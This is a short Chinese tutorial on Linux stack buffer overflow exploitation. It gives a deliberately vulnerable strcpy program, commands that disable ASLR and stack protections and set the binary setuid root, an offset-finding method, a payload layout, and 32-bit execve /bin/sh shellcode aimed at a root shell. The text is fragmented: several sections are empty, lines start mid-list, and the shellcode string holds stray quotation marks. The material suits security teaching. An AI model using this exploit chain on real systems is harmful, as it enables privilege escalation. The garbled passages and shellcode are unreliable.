Linux 缓冲区溢出利用的原理与步骤
一、原理与关键条件
二、典型利用流程
sudo sysctl -w kernel.randomize_va_space=0;gcc -fno-stack-protector;gcc -z execstack;linux32 或安装 32 位支持库。pattern_create.rb/pattern_offset.rb)或逐步递增填充;NOP 滑梯 + shellcode);jmp esp/call esp 或 ret2libc 跳转到已有可执行代码片段。/bin/sh 指向 bash 会放弃特权),则可能获得root shell。三、最小示例与关键命令
// stack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str) {
char buffer[12];
strcpy(buffer, str); // 无边界检查
return 1;
}
int main(int argc, char **argv) {
char str[517];
FILE *badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386
gcc -m32 -g -fno-stack-protector -z execstack -o stack stack.c
sudo chown root:root stack
sudo chmod u+s stack
sudo sysctl -w kernel.randomize_va_space=0
pattern_create.rb -l 517 生成唯一串,发送后崩溃,用 pattern_offset.rb -q <EIP> 得到覆盖 EIP 的精确偏移;随后构造 payload:'A'*offset + '\x??\x??\x??\x??' + shellcode。常见 32 位 Linux /bin/sh shellcode 示例(execve):"\x31\xc0\x50\x68\"//sh\"\x68\"/bin\"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
badfile,再运行 ./stack,若一切配合正确将获得 shell。四、绕过防护的常见技术
五、防护要点与合规提示
strncpy_s、snprintf 等)替代危险函数(strcpy、gets、sprintf);